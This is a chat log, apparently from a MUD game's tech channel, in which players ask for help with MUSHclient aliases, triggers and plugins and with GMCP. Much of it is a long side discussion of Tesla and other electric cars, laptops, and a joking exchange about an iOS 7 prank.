T3/r7/2013-09-22.txt.gz:{chan ch=tech}Kirek Tech: is there a way make a allias for casting illuminate, solidify, and resonate on various objects
T3/r7/2013-09-22.txt.gz:{chan ch=tech}TrEz Tech: what client
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Alcor Tech: they are open - mainly using them at home though - would look stupid to use them on the run, anyway. 
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Kirek Tech: mushclient
T3/r7/2013-09-22.txt.gz:{chan ch=tech}TrEz Tech: ye you can
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Kirek Tech: tried making alias to cast the 3 spells, then use alias on object, doenst work
T3/r7/2013-09-22.txt.gz:{chan ch=tech}TrEz Tech: put a star after the alias, like 'chant *'
T3/r7/2013-09-22.txt.gz:{chan ch=tech}TrEz Tech: then inside c illu %1
T3/r7/2013-09-22.txt.gz:{chan ch=tech}TrEz Tech: and the rest
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Kirek Tech: hmm, almost works, says i don't have the item, but does tries to cast the 3 spells
T3/r7/2013-09-22.txt.gz:{chan ch=tech}TrEz Tech: well do you have the item :P
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Leinei Tech: what are you typing when you use it?
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Kirek Tech: the alias name, followed by the item
T3/r7/2013-09-22.txt.gz:{chan ch=tech}TrEz Tech: what command is mush sending
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Kirek Tech: put auto loot on, just so i can practice the spells on junk i pick up to skill up the spells
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Leinei Tech: If it helps, you can type 'echocommands', and you'll see what commands the mud is receiving
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Kirek Tech: says You entered:: c illuminate coat
T3/r7/2013-09-22.txt.gz:{chan ch=tech}TrEz Tech: it's good then
T3/r7/2013-09-22.txt.gz:{chan ch=tech}TrEz Tech: just use a proper keyword :P
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Kirek Tech: then says you don't have item
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Leinei Tech: then you don't have that item
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Kirek Tech: but if i cast each spell by themselves on the objec it works
T3/r7/2013-09-22.txt.gz:{chan ch=tech}None the Wyza Tech: what happens if you do "id coat" :P
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Leinei Tech: Or you're wearing it, or it's in a bag
T3/r7/2013-09-22.txt.gz:{chan ch=tech}TrEz Tech: :)
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Kilfer Tech: How do i set a quest trigger that makes it add up the quest and bonus and such and give me a total?
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Turie Tech: In MUSHclient, that is done by Bast's Plugins.
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Kilfer Tech: Where do find those?
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Turie Tech: Finger Bast
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Turie Tech: Take a walk through his wiki.
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Lecithin Tech: What is a solid laptop brand nowadays for a new, non (video) gaming laptop for general usage?  Something around the $700 range
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Turie Tech: Toshiba, Lenova.....
T3/r7/2013-09-22.txt.gz:{chan ch=tech}TrEz Tech: I have an asus, it's nice
T3/r7/2013-09-22.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: acer is pretty good for that range
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Ilthik Tech: lenovo x series
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Doc Holliday Tech: used macbook air :)
T3/r7/2013-09-22.txt.gz:{chan ch=tech}TrEz Tech: only if you're an Asian
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Tech: Lecithin chuckles politely.
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Turie Tech: Or Trez
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Loreli Tech: I'm trying out the mapping scripts in the tintin++ bundle from Ixle/Cheezeburger and it seems my room names are saving with the color codes in them. Anyone know how to fix that?
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Doc Holliday Tech: i wouldnt trust any script from cheezburger *smirk
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Tech: Book of Etzli snickers with Doc Holliday about their shared secret.
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Qaebl Tech: yeah especially if it doesn't require fries 1.3
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Doc Holliday Tech: that's what he should name his framework
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Loreli Tech: Ok, I'll take that as a no.
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: why do people buy tesla cars?  is it becuase they are cool?
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Cuddlez Tech: Because they can?
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Daloran Tech: Any number of reasons. Eco friendly, status symbol, no gas to worry about, nice luxury cars, supporting the development of electric cars..
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: all of this is worth $100k?  or maybe $50k over what they would otherwise buy?
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Daloran Tech: Often companies provide free electric charging - so the employees have a good incentive to buy electric vehicles, such as the tesla
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Daloran Tech: obviously to them it is - or they would not buy them =p
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: buying a tesla for gas savings is so penny-wise dollar-foolish though.  do people not realize that?
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Daloran Tech: I'm sure most of them do, Koji
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: but it's just an emotional rationalization?
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Cuddlez Tech: We can either live our life constantly asking whether we're making the best investment, or buy what we want knowing that if we were to die, we lose it all anyways.
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Daloran Tech: yeah.. really - it comes down to - they want it, and they can afford it, so they bought it.
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: clearly people are buying them.  i am wondering what the motivation is.
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Daloran Tech: most of the people i've met with them fall in to the more-money-then-god category, so, Tesla.
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Daloran Tech: Chevy Volts being a close second.
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Leinei Tech: The 2013 Tesla Model S starts at $59,900, btw.
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: are you in cali?
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Daloran Tech: I am, Koji.
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: no, it doesn't.
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Daloran Tech: I actually drive by the tesla factory every day on the way to work =p
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: that's cool.  have you ever been inside?
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Daloran Tech: No, but I'd like to take a tour some day
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: have you seen a noticeable increase in the number of teslas on the road?  is it even still cool or noteworthy to drive one in cali or bay area??
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Cuddlez Tech: Their website has the model s for 63k.
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: leinei, tesla does a lot of deceptive advetising on their website.  one of them is how they quote the price net of tax rebate
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Leinei Tech: a lot of states also have a $10k+ tax incentive on them, too
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Daloran Tech: Well Koji.. I work in mountain view. Theres a lot of tech companies there... so.. my vision of whats common is.. a little skewed. but they definitely are a bit of a status symbol. Plus a lot of places... there will be a lot of well coworker has one, so i need one too! kind of thing
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Daloran Tech: I'd love to have one personally... though I think for the money, i'd sooner buy a volt and save the rest... but yeah
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: well i wonder about that dal.  the first guy in the country club parking lot to get one is cool.  probably the second and third.  but by the twentieth, it's probably not cool anymore.  maybe by the tenth.  but not a lot of teslas where i live.
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Daloran Tech: Hmm. Maybe. I see them at the places i've worked a lot. They're also more noticible, since they're usually parked close to the buildings - where the electric chargers are. On the freeway, they're much more sparse, so i think outside of those places, they still carry some novelty
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: yea volt looks pretty cool, but if you could buy a 200 mile range EV vs. the current volt at the same price, wouldn't you take the EV?  voltec and hybrid has compromises especially around space and performance.
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Xantcha Tech: I'm 6'4" and allergic to stupid people... I sneeze ALL THE TIME around here :P  *chuckle*
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Xantcha Tech: mis
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Tech: [Deputy] Trurien sneezes.
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Book of Etzli Tech: You and me both, Xantcha.
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Daloran Tech: Nah koji. Hybrid all the way.
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: It's not nice to call people names.  It's not Koji's fault that his dad was a horse and his mom was a mule. :D
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Daloran Tech: but a 200 mile round trip.. well i drive 150 miles for work round trip. it'd be cutting it a little close, if i wasnt able to charge at both ends
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: so unlimited range w/ gas is worth losing the space and acceleration and cost of ownership savings in terms of gas and maintenance?
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: so much bandwagon hate, get over yourselves
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Daloran Tech: to me, yeah. mind, first 5 years will be warranty repairs anyway. and cost of a volt is much less then a tesla.. i think the only equivlent electric car in even similar price ranges is Nissan Leaf
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Book of Etzli Tech: Not bandwagon hate. :p
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: Nope, I like bandwagons. :)
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: leaf actually a bargain with a 200 monthly lease!  but anyway.. i was saying volt vs. hypothetical 200 mile EV at same price (which doesn't exist today and is probably 5 years away)
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Daloran Tech: i'd still want the range. charging locations are still not convenient. If you started seeing EV chargers at gas stations, or even EV parking spaces are like grocery stores and the like? That might change
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Daloran Tech: 200 mile range wont get you far if you want to take a road trip. 200 miles is less then half of what i get in my regular internal combustion car
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: interesting.  yea, i guess you can't rely on a 200 mile range EV as a primary vehicle
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Daloran Tech: as a secondary vehicle, or as a commute vehicle with a gas powered alternative? It'd be nice.
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Daloran Tech: I think other considerations like... Solar panels at the home, to offset the cost of charging the vehicle would also make the EV more tempting. but when electricity can be above 45 cents US/KWh...
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Redryn Tech: solar panels are an irrelevant consideration
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: true, but most charging would be at night
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: even cali is probably 12c kwh (pre-delivery charge?) I'm guessing
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: at night
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Daloran Tech: Solar panels are not irrelevant, Red. And yes koji - but the solar panels would offset your utility bill - keeping you in a lower tier of power
T3/r7/2013-09-22.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: put solar pannels on the car:P
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Daloran Tech: tiered power is sucky.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Redryn Tech: if solar power is viable any cost savings could be used in your daily household electrical consumption
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Redryn Tech: so cost of charging your car isn't cut
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: red, it just increases the savings vs. gasoline
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Daloran Tech: Except with tiered power, an EV would use more power, pushing you in to a higher rate, where you would not be in a higher tier if you did not have the EV..
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i think you can get tier plans also based on time use though.  but i don't live in cali.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Daloran Tech: In this region you can't. I don't know about other regions. Most of the areas i know of only have 1 provider for most things
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Daloran Tech: you want cable? comcast. You want phone? AT&T. you want power/gas? PG&E. You want water? well.. thats a city thing. 
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: I don't have any of those 3, thanks.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Book of Etzli Tech: I have Southern Cal Edison for electric/gas.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Daloran Tech: Fair etz - but is there an alternative provider in your area? =p
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: Now, could you guys please take this to a channel that the topic relates to?  This isn't game-specific.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: lol what
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Vorax Tech: lol
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Daloran Tech: Since when is tech game specific, taki?
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Vorax Tech: since never
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: this channel isn't for game specific chat, dude.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: Read "help tech".  This isn't "mud client issues, scripting, etc".
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: Take it to tells, or debate.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Daloran Tech: The helpfile does not say it is exclusively for those things, taki.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Navi Tech: help tech says it is the best place to find that stuff, not only allows that stuff..
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Daloran Tech: and if that is true, 85% of the content of this channel would be forboden
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: read the help file more carefully, taki
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: oh for heavens sakes!  I didn't say it wasn't allowed - you've been doing it for 45 minutes now.  I'm asking, as the topic is clearly not one geared for the design of this channel, to please take it to a more appropriate one.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Daloran Tech: Electric cars dont' fall under the category of tech?
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: this is the appropriate channel.  if it bothers you, take it up with an IMM and let them intervene if warranted.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Navi Tech: This argument should be taken to debate though. :P
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: There are those of us that do happen to watch this channel to help those who have questions, and you spamming it with car crap is an unneccessary distraction.  I tried to (politely) ask you to take it somewhere else, and you decide to get "rule specific"??  Really?
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: there is no argument, it's a discussion.  nobody is laying out or defending a position here.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: yes this is the sort of discussion definitely belongs on tech
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Daloran Tech: honestly, for the tesla, one of the most interesting things to me is the nav.... uses google maps. Not exclusive to them, but its kind of a neat feature.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Kyoden Tech: Case in point for Taki: I watch this channel to help with scripts but I'm about to turn it off because of you guys.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Vorax Tech: so turn it off
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Ranrr Tech: Except that google maps are full of (intentional) errors, like all commercial maps.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: cool, try turning it on in a few minutes.  if i see a script question i will forward to you.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Navi Tech: Just because some people watch a channel just to answer questions doesn't mean it's a channel just for questions. Sorry.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Daloran Tech: True Ranrr - but theres not the same sort of yearly-release-cycle like there is with say, Garmin or Tomtom. To my understanding, anyway. that its a continuous process
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: fwiw, tesla is having major problems with their nav apps.  it's utterly borked in some cars.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Ranrr Tech: Personally, I try to use openstreemaps instead. Much better maps, and open source is always nicer.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Daloran Tech: ah really Koji? I hadn't heard about that.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Daloran Tech: And maybe Ranrr... but until thats an integrated solution..
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Kyoden Tech: I'm just pointing out that I think you guys are making the channel less useful by driving out the people here for its primary purpose. I won't say more on the issue though.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: yea.  mostly affecting cars delivered in the past month.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: a channel bboard
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: oops
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Daloran Tech: thats unfortunate, koji. Though I understand they're pretty good about recall/repair/etc sort of process, from a customer service standpoint
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: tesla is bipolar.  they have an awesome product, but they deceptively advertise.  they are great at servicing, but the car needs a lot of servicing.  some things I think are actual safety issues and would be a safety recall on other cars, but tesla does nothing b/c they don't want the bad press.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Taokan Tech: I recommend repurposing noble as the scripting help channel.  0 chance of side conversation getting in the way, there.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Daloran Tech: Thats unfortunate Koj... I'd still like to have one. But when I come up with the 6 figure income to support one, i'm sure there will be something better to want
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: Me too.  someday when the tech has gone through iterations and the bugs are worked out.  so in a few years.  that's why I ask the hybrid vs. EV question... if I drive much more than 200 miles, i'd probably just fly instead.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Ranrr Tech: I'll get a car when I can get a self driving car, so I can read books while going in it. Until that happens, I'll use public transport, so I don't waste my time.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: so the EV could work v. well.  And I'm more into the functionality of the Modle S than the luxury, so if you give me the range in a crappy 35k shell/trim, I'm all over that.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Daloran Tech: Hmmmm. I think..... the reliability of the battery would come in to play for me there. If the battery was 100% going to last 200 miles - and would do so for 10ish+ years, the EV would probably be preferred, depending on cost/mile
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Ranrr Tech: The battery issue would best be solved by having "tanking" stations where you replace your battery for a fully charged one. Of course, that would mean a requirement for a battery standard....
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Daloran Tech: i still like the idea of being able to pop by a gas station to fill up though.... and charging stations are common where i work
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Daloran Tech: hmm.. that could work, Ranrr. though... batteries are heavy
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: ranrr, that works if batteries are like metal air where you can replace a small cartridge.  but realistic tech you're looking at thousand pound batteries in various states of degradation.  the cost and logisitcs and capital to do that is probably too much to be feasible
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Ranrr Tech: I'm not suggesting you lift it yourself, we have machines for that :P
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Daloran Tech: fair
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Daloran Tech: I guess I dont generally accept integrated batteries in my phones, why would i in my cars
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i think tesla nailed it with piggy backing off the infrastructure / power grid.  nothing really to build.  just install some high powered lines and put a post at a parking space.  v. little maintenance, no insurance, little wear, etc.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Ranrr Tech: For that to happen, we need government regulation. The market can never do that itself.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Daloran Tech: the charging is a standard thing, its not really tesla only
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Daloran Tech: Volts use the same charging
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: depends on the charger, no?  there is some IP involved in rapidly charging a big battery.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i don't think volts can use a tesla supercharger
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Daloran Tech: I'm fairly sure the teslas use the standard coulumb charger, no?
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i think they can use anything witht he right adapter, but others can't use the supercharger?
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Daloran Tech: ahhh maybe
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Daloran Tech: the chargepoint, with the coloumb connectors are the only ones ive ever seen
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: btw daloran, it's too early to say, but the degradation reports i've seen on the tesla batteries are promising
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Daloran Tech: good to hear. 
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Ranrr Tech: Probably not that good in a winter climate, though...
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Daloran Tech: eh. i live in cali, if its a short range vehicle, i dont think climate will ever be an issue
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Tech: very not good in winter climate, ranrr
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Tech: new york post or times did a test drive in a tesla...had to end up flatbedded because the cold royally borked the distance between fills
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Jaenelle Tech: I plug my car in during winter. :) It makes it a bit warmer inside! *nod self*
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Tech: heh, that's relatively common in diesels, not so much in gasoline (in the US)
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: nyt, and there were some issues with the report.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: AC/heat definitely lowers your range.  as does driving at real-life highway speeds (80 mph)
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: I think the quoted EPA range is based on 55 mph or something silly
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Daloran Tech: koji.. 80mph.. real life highway speeds... not in CA =p
T3/r7/2013-09-23.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i drive between 69-79 freeway and i live in california
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: higher in cali or lower?
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Daloran Tech: obviously not in any sort of traffic then.... i'm lucky if i can ride at a constant 35 in most parts
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Daloran Tech: lower, koji. Traffic in this area is crap
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Daloran Tech: speed limit is also 65 here, vs some other states 70/75
T3/r7/2013-09-23.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i live in LA county, but i dont have a car so i dont drive that often
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Daloran Tech: ahhh gotcha. yeah.. we've got some of the worst traffic in the state.. if i dont leave early enough can take me 3+ hrs to drive 70 miles or so
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Roidrage Tech: is it ok to make a variable to use heal pots when my hp gets below a different number?
T3/r7/2013-09-23.txt.gz:{chan ch=tech}RedRain Tech: read help is this botting
T3/r7/2013-09-23.txt.gz:{chan ch=tech}RedRain Tech: section Auto-heal/Auto-cast:
T3/r7/2013-09-23.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: does any one know where to download plugins for blowtorch pls ?
T3/r7/2013-09-23.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: what is gmcp ?
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Confounded CeriQ Tech: It's a way for the mud to send non-text information to a client.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Confounded CeriQ Tech: Which the client can then display in other ways than the main window.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: oh ok, should i enable it
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Confounded CeriQ Tech: if it's an option, then yeah.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Tech: well, it's still text information, it's just not in the visible stream
T3/r7/2013-09-23.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: will is use more data though ?
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Confounded CeriQ Tech: json I believe, right Abelinc?
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Confounded CeriQ Tech: marginally.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Tech: yes, it will use more data
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Tech: how marginal depends on what parts of it you use
T3/r7/2013-09-23.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: ok thanks
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Tech: the group stuff can be considerable
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Tech: it is json-formatted text, yes...that basically just lays out the text into objects, such that you have categoryname { "labelone":numericvalueone, "labeltwo":"textvaluetwo" }, etc
T3/r7/2013-09-23.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: Abelinc where can i find your afk script ?
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Tech: everything I have public is at the website in my finger
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Ontuct Tech: you have the world at your finger?
T3/r7/2013-09-23.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: thanks Abelinc, i will look at it
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Tech: but note that most of my stuff is not for MUSHclient as I don't use it as my client...for the MUSHclient stuff, look to the very bottom of the scripting page
T3/r7/2013-09-23.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: Hi i have heard those live-animated wallpapers on androis use more battery power then static ones.. does any one knows if im in an aplication and not viewing the main screen with the animated wallpaper if it still uses more battery while its busy in the background ?
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Bunnyy Tech: i think so!
T3/r7/2013-09-23.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: noooo 
T3/r7/2013-09-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: is there any way to capture string colours with triggers? in mushclient lua
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Bast Tech: yes, there is a 4th argument for a trigger in lua, see http://www.gammon.com.au/scripts/doc.php?general=triggers
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Bast Tech: it is under trigger scripts
T3/r7/2013-09-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: thanks bast
T3/r7/2013-09-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: is anfamiliar with how the copyscript plugin works for mushclient aard?
T3/r7/2013-09-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: anyone familiar*
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Ayasinda Tech: can't you just look at the code?
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Bast Tech: yeah, ctrl-d copies from the output window with colourcodes
T3/r7/2013-09-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yeah im trying to understand how its putting the color codes back into the string but cannot work out what this colomn busness is
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Bast Tech: remarto, if you are trying to convert styles to a line with colors, look at the function StylesToColoursOneLine in aardwolf_colours.lua
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Bast Tech: if you aren't, can you explain what you are trying to do?
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Sweet, Swiftsearch for Windows allows you to search files using Regex.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto goes, "Heh."
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Quadrapus Tech: Any CS people around?
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Oh god, people are so stupid. 4chan tricked people into thinking the iOS 7 made their phone waterproof...
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Turie Tech: Nothing new......
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Book of Etzli Tech: But! since the last go around where people thought microwaving it would charge it, the new iOS 7 does just that!
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Good on Apple to take a prank and turn it around!
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Tech: Book of Etzli's shifty eyes dart back and forth.
